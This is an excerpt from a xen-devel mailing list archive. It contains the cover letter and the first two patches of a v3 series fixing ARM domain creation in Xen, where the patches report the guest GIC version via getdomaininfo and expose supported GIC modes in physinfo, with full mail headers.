List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=Vre36dgL4UE0Uzr9gPi/lZEbu7xbNbhHZidry/6L+M0=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=V0BTjqRuNZt96MmexYXGmNveNgBIpMw27xcTjIa9BCkGrM+U63W5yduujbYMhN7ISuk0lAF5P
 WWdw6oT+KyVUnxMlRDs9x9HpVAbSIehQfakovEamqUX60J//28Emhe3D9FcPS835674GoEg5Akd
 zOS1NWRyDABjFILQ8et9qBTHOg4aW59SHhj2/GvSy/XQkK7SvAf64LrdGIQ+bzzyDIm4mEx/yS8
 1HebqZZvRfH5zmjeqDeyhCEMMB6yaztz2gkU+xCAOJ61jcVSxxApY8GhmuWdthMWHJNYaBsd+Ti
 jEWOHa611NpJgG7QGPvoK7YXIqTXARQ3gQVVUJgcvXWQ==
X-Zone-Loop: 0d2fefb24e799f2e41498e5b6b3fb3d748ebc889a79b
x-campaign-type: default
x-transaction-id: d01d579d-b162-4db2-9a93-09d76c3738e4
x-swg-uid: 01-6ccdf912-8940-48bf-a117-b1471084d4a8
X-Mailer: Sweego
Message-ID:
 <1784210820.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@vates.tech>
x-swg-bid: 1784210820.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v3 0/6] Fix ARM domcreate
Date: Thu, 16 Jul 2026 16:06:53 +0200
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.a03.1a725c01134c3243.19f6b408989.d6c2c6858942c0a5=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784210819466
X-purgate-ID: tlsNG-42698a/1784210829-190CD9EA-C3CB8D1B/0/0
X-purgate-type: clean
X-purgate-size: 3568

---=Part.a03.1a725c01134c3243.19f6b408989.d6c2c6858942c0a5=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Hello Jan and Andrew,
thank you for your feedback! And sorry for the mess with the patches
somee being send twice=2E I'm still fighting against our mailserver=2E
As you suggested Andrew, I have taken ownership of the 2 patches, and I
have split the changes to the tools part and the changes to Xen into 2
separate patches=2E
Jan, I have added a _hz to the frequency to make it clear that this is
in Hz=2E Also, I have updated the comment, that the actual field in the DT
is also only a single cell of 32 bit=2E So, for now there is no need to
widen this in the ABI=2E I have also added how/if this value is used when
the system boots via ACPI=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v3:
- Added Reviewed-by to patch 1 and 6
- Changed ownership of patches 3 and 4
- Split patch 3 into two patches as suggested by Andrew
- Updated CHANGELOG=2Emd to report the changes to the ABI
- Addressed Jan's comments in regards to the clock_frequency property
  and ACPI booting
---
Andrew Cooper (1):
  ARM/sysctl: Expose the supported guest GIC modes in physinfo

Julian Vetter (5):
  xen/arm: report proper GIC version via XEN_DOMCTL_getdomaininfo
  tools/arm: choose GIC version explicitly instead of relying on
    GIC_NATIVE
  xen/arm: remove XEN_DOMCTL_CONFIG_GIC_NATIVE from the ABI
  xen/arm: report clock_frequency via sysctl physinfo, not createdomain
  xen: make config argument const

 CHANGELOG=2Emd                                  |  3 ++
 =2E=2E=2E/include/xen-tools/arm-arch-capabilities=2Eh | 16 ++++++++++
 tools/libs/light/libxl=2Ec                      |  1 +
 tools/libs/light/libxl_arm=2Ec                  | 30 ++++++++++++++++---
 tools/libs/light/libxl_types=2Eidl              |  1 +
 tools/ocaml/libs/xc/xenctrl=2Eml                |  1 -
 tools/ocaml/libs/xc/xenctrl=2Emli               |  1 -
 tools/python/xen/lowlevel/xc/xc=2Ec             | 20 ++++++++++++-
 xen/arch/arm/dom0less-build=2Ec                 |  3 +-
 xen/arch/arm/domain=2Ec                         | 29 +++++++-----------
 xen/arch/arm/domain_build=2Ec                   |  3 +-
 xen/arch/arm/domctl=2Ec                         |  2 ++
 xen/arch/arm/firmware/sci=2Ec                   |  2 +-
 xen/arch/arm/firmware/scmi-smc=2Ec              |  2 +-
 xen/arch/arm/gic=2Ec                            | 16 ++++++++++
 xen/arch/arm/include/asm/firmware/sci=2Eh       |  6 ++--
 xen/arch/arm/include/asm/gic=2Eh                |  6 ++++
 xen/arch/arm/include/asm/vtimer=2Eh             |  3 +-
 xen/arch/arm/sysctl=2Ec                         | 29 ++++++++++++++++++
 xen/arch/arm/vtimer=2Ec                         |  4 +--
 xen/arch/ppc/stubs=2Ec                          |  2 +-
 xen/arch/riscv/domain=2Ec                       |  2 +-
 xen/arch/x86/domain=2Ec                         | 16 +++++-----
 xen/include/public/arch-arm=2Eh                 | 17 +----------
 xen/include/public/domctl=2Eh                   |  4 +--
 xen/include/public/sysctl=2Eh                   | 23 +++++++++++++-
 xen/include/xen/sched=2Eh                       |  6 ++--
 27 files changed, 180 insertions(+), 68 deletions(-)

--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.a03.1a725c01134c3243.19f6b408989.d6c2c6858942c0a5=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:12:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:12:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364094.1615442 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMoc-0003dd-Uh; Thu, 16 Jul 2026 14:11:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364094.1615442; Thu, 16 Jul 2026 14:11:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMoc-0003dW-Qe; Thu, 16 Jul 2026 14:11:54 +0000
Received: by outflank-mailman (input) for mailman id 1364094;
 Thu, 16 Jul 2026 14:11:53 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e2b5000edb5@swg.vates.tech>)
 id 1wkMob-0003dQ-Na
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:11:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkMoa-006m7b-W4
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:11:53 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e2b5000edb5@swg.vates.tech>)
 id 6a58e6a0-5cb7-0a2a0a5109dd-0a2a4506d8c4-34
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:11:52 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e2b5000edb5@swg.vates.tech>)
 id 6a58e6a8-195a-0a2a45060019-b9ff1c238695-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:11:52 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6b44e2b5000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 14:11:44 +0000
Received: from julian.home (areims-651-1-80-194.w90-18.abo.wanadoo.fr
 [90.18.187.194]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 929EB8299A;
 Thu, 16 Jul 2026 16:11:43 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=+OCCws+kMFTzhNurIniKZ6IR2VxwCtBF0F5VlRyNrxg=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=PWpJfJfqmtdqxmufuJb9YMwSbyVJ7F5+Nslra4r2zZ33pLb+B7JF0+1VSUoRLAoYoQr1LtxvW
 uoskg7qYaYg6brwCKMaPVejoa/+v7CWL0EuDuiY1J82B0S6zgiSRi8GxhFggQ05WEcgmijtah39
 i8HIFw+NZSlQd68yI2UVnUquY+gq/gQS/tU6fAaBxyLCDd4CJi1OJ0E0dnTuSawuLsYoBDe5vCe
 FDZ2JET68glkkT4xdBtkPcqD55moN3eiC/JMb/Ms1sehCc0CWwbjwWpMQyEoxrjvJR7sU1upbJT
 luVaGmycx1YWAMwFgKAI0LTlvf/+a6CEIKyyfV2nAlYg==
X-Zone-Loop: 9082a525d9105746b6aaafaf5e18dad0f37adeec7466
x-campaign-type: default
x-transaction-id: e88e294c-0577-4339-985b-4a1f32701b0c
x-swg-uid: 01-24326d5c-786e-4799-ae06-e89bdbb98cd5
X-Mailer: Sweego
Message-ID:
 <1784211104.8631fc262581453bbf619ec5b2062170.19f6b44e2b5000edb5@vates.tech>
x-swg-bid: 1784211104.8631fc262581453bbf619ec5b2062170.19f6b44e2b5000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v3 1/6] xen/arm: report proper GIC version via XEN_DOMCTL_getdomaininfo
Date: Thu, 16 Jul 2026 16:11:33 +0200
In-Reply-To: <1784210820.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@vates.tech>
References: <1784210820.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.a07.dcf94ff9e3ea626.19f6b44e09a.f7b0c5c18850d58e=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784211103898
X-purgate-ID: tlsNG-16d1c6/1784211112-FD60A77B-6360C805/0/0
X-purgate-type: clean
X-purgate-size: 1988

---=Part.a07.dcf94ff9e3ea626.19f6b44e09a.f7b0c5c18850d58e=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

When creating a domain on ARM, and passing XEN_DOMCTL_CONFIG_GIC_NATIVE
for the gic_version field in the struct xen_arch_domainconfig,
arch_sanitise_domain_config() resolves this to the approrpiate GIC_V2 or
GIC_V3 version the domain actually has, based on the host's
gic_hw_version()=2E That value is stored in the domain as
d->arch=2Evgic=2Eversion, but can't be queried through any other domctl
later=2E Toolstacks that create and build a domain in the same call
already have this info from the createdomain reply and never need to ask
again=2E

Toolstacks that create a domain and build it later from a separate
process do need to ask again=2E But, the ARM implementation only fills in
info->flags and info->gpaddr_bits=2E info->arch_config is left zeroed, so
XEN_DOMCTL_getdomaininfo always reports gic_version as
XEN_DOMCTL_CONFIG_GIC_NATIVE (0) regardless of what was actually
configured earlier=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
Reviewed-by: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>
---
Changes in v3:
- Added 'Reviewed-by'
---
 xen/arch/arm/domctl=2Ec | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/xen/arch/arm/domctl=2Ec b/xen/arch/arm/domctl=2Ec
index 6c9a3f9920=2E=2Eb76af56fad 100644
--- a/xen/arch/arm/domctl=2Ec
+++ b/xen/arch/arm/domctl=2Ec
@@ -24,6 +24,8 @@ void arch_get_domain_info(const struct domain *d,
     info->flags |=3D XEN_DOMINF_hap;
=20
     info->gpaddr_bits =3D p2m_ipa_bits;
+
+    info->arch_config=2Egic_version =3D d->arch=2Evgic=2Eversion;
 }
=20
 static int handle_vuart_init(struct domain *d,=20
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.a07.dcf94ff9e3ea626.19f6b44e09a.f7b0c5c18850d58e=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:12:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:12:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364095.1615450 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMof-0003qi-5C; Thu, 16 Jul 2026 14:11:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364095.1615450; Thu, 16 Jul 2026 14:11:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMof-0003qb-19; Thu, 16 Jul 2026 14:11:57 +0000
Received: by outflank-mailman (input) for mailman id 1364095;
 Thu, 16 Jul 2026 14:11:56 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e427000edb5@swg.vates.tech>)
 id 1wkMoe-0003qH-By
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:11:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkMod-006m7b-Ov
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:11:55 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e427000edb5@swg.vates.tech>)
 id 6a58e6a0-5cb7-0a2a0a5109dd-0a2a4506d8c4-46
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:11:55 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e427000edb5@swg.vates.tech>)
 id 6a58e6a8-195a-0a2a45060019-b9ff1c238695-4
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:11:55 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6b44e427000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 14:11:44 +0000
Received: from julian.home (areims-651-1-80-194.w90-18.abo.wanadoo.fr
 [90.18.187.194]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 18DA5829A9;
 Thu, 16 Jul 2026 16:11:44 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=edupbGSUmMSWQiuMsFe5V4eUJW0PMMqnqhABXS2jGos=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=CUYIXBienqD7xOdLgngMakNShgDQDmoKnFQiAif6h9p/hbueTjpplLgMPxSUIELfa0++nAhos
 qOIz6jO3U4YuvbIgkTN8yLCF0THmRHDlaD9O65DbGCUt+SwTsrDdwXaoZZ2qjagfU9EqIfZAmHf
 NrMECwIQb/SoEKyyH2XI7T5QSBLwLG+sF4V4axU6U+DWTX/+AWxdoAtEDTmd409U8Q0bnXXc1cQ
 UF0Lp10i74DgFMPomnMcAVbw6fu4WIwXePIRj4hjH7aMVm+L3L6hLBuZzlt1ydj1SATCCa2YQhp
 sXZwOzo2Xw6uWooAy8Q15tGwYPs7PHw+WhWE/FGjL6bg==
X-Zone-Loop: a50b8f6d5af10757614e9c388aaebafe49596fa72205
x-campaign-type: default
x-transaction-id: 55bfce5d-a1d5-4a89-be47-457076aff4ef
x-swg-uid: 01-595250c2-7473-4b88-a942-997d6778484f
X-Mailer: Sweego
Message-ID:
 <1784211104.8631fc262581453bbf619ec5b2062170.19f6b44e427000edb5@vates.tech>
x-swg-bid: 1784211104.8631fc262581453bbf619ec5b2062170.19f6b44e427000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH v3 2/6] ARM/sysctl: Expose the supported guest GIC modes in physinfo
Date: Thu, 16 Jul 2026 16:11:34 +0200
In-Reply-To: <20260716141138.88265-1-julian.vetter@vates.tech>
References: <1784210820.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@vates.tech>
 <20260716141138.88265-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.a08.93ea2e18d98349b0.19f6b44e27a.74101307e36426b1=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784211104379
X-purgate-ID: tlsNG-16d1c6/1784211115-F647377B-9C2BF7C1/0/0
X-purgate-type: clean
X-purgate-size: 2633

---=Part.a08.93ea2e18d98349b0.19f6b44e27a.74101307e36426b1=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

From: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>

Signed-off-by: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>
---
Changes in v3:
- No changes
---
 xen/arch/arm/sysctl=2Ec       | 26 ++++++++++++++++++++++++++
 xen/include/public/sysctl=2Eh |  2 ++
 2 files changed, 28 insertions(+)

diff --git a/xen/arch/arm/sysctl=2Ec b/xen/arch/arm/sysctl=2Ec
index 32cab4feff=2E=2E3b0edf4cec 100644
--- a/xen/arch/arm/sysctl=2Ec
+++ b/xen/arch/arm/sysctl=2Ec
@@ -12,7 +12,10 @@
 #include <xen/dt-overlay=2Eh>
 #include <xen/errno=2Eh>
 #include <xen/hypercall=2Eh>
+
 #include <asm/arm64/sve=2Eh>
+#include <asm/gic=2Eh>
+
 #include <public/sysctl=2Eh>
=20
 void arch_do_physinfo(struct xen_sysctl_physinfo *pi)
@@ -21,6 +24,29 @@ void arch_do_physinfo(struct xen_sysctl_physinfo *pi)
=20
     pi->arch_capabilities |=3D MASK_INSR(sve_encode_vl(get_sys_vl_len()),
                                        XEN_SYSCTL_PHYSCAP_ARM_SVE_MASK);
+
+    /*
+     * The GIC version(s) we're happy creating guests with=2E  Right now =
for
+     * simplicity it is tied to the active hardware version, but this wil=
l
+     * cease to be the case if/when the compatbility modes are enabled=2E
+     */
+    switch ( gic_hw_version() )
+    {
+    case GIC_V2:
+        pi->arch_capabilities |=3D XEN_SYSCTL_PHYSCAP_ARM_GIC_V2;
+        break;
+
+    case GIC_V3:
+        pi->arch_capabilities |=3D XEN_SYSCTL_PHYSCAP_ARM_GIC_V3;
+        break;
+
+    case GIC_INVALID:
+        /*
+         * Running a control domain without having the GIC sorted yet?
+         * Something's broken, but there's nothing we can do about it her=
e=2E
+         */
+        break;
+    }
 }
=20
 long arch_do_sysctl(struct xen_sysctl *sysctl,
diff --git a/xen/include/public/sysctl=2Eh b/xen/include/public/sysctl=2Eh
index c7cd9b4eb0=2E=2Ed20ebf3644 100644
--- a/xen/include/public/sysctl=2Eh
+++ b/xen/include/public/sysctl=2Eh
@@ -106,6 +106,8 @@ struct xen_sysctl_tbuf_op {
=20
 #if defined(__arm__) || defined(__aarch64__)
 #define XEN_SYSCTL_PHYSCAP_ARM_SVE_MASK  (0x1FU)
+#define XEN_SYSCTL_PHYSCAP_ARM_GIC_V2    (1U << 5)
+#define XEN_SYSCTL_PHYSCAP_ARM_GIC_V3    (1U << 6)
 #endif
=20
 struct xen_sysctl_physinfo {
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.a08.93ea2e18d98349b0.19f6b44e27a.74101307e36426b1=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:12:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:12:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364096.1615459 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMol-00047R-CQ; Thu, 16 Jul 2026 14:12:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364096.1615459; Thu, 16 Jul 2026 14:12:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMol-00047I-9C; Thu, 16 Jul 2026 14:12:03 +0000
Received: by outflank-mailman (input) for mailman id 1364096;
 Thu, 16 Jul 2026 14:12:01 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e5b6000edb5@swg.vates.tech>)
 id 1wkMoj-000468-PG
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:12:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkMoj-00H0QU-5r
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:12:01 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e5b6000edb5@swg.vates.tech>)
 id 6a58e6ac-bab6-0a2a0a5309dd-0a2a45069760-8
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:12:01 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e5b6000edb5@swg.vates.tech>)
 id 6a58e6a8-195a-0a2a45060019-b9ff1c238695-5
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:11:57 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
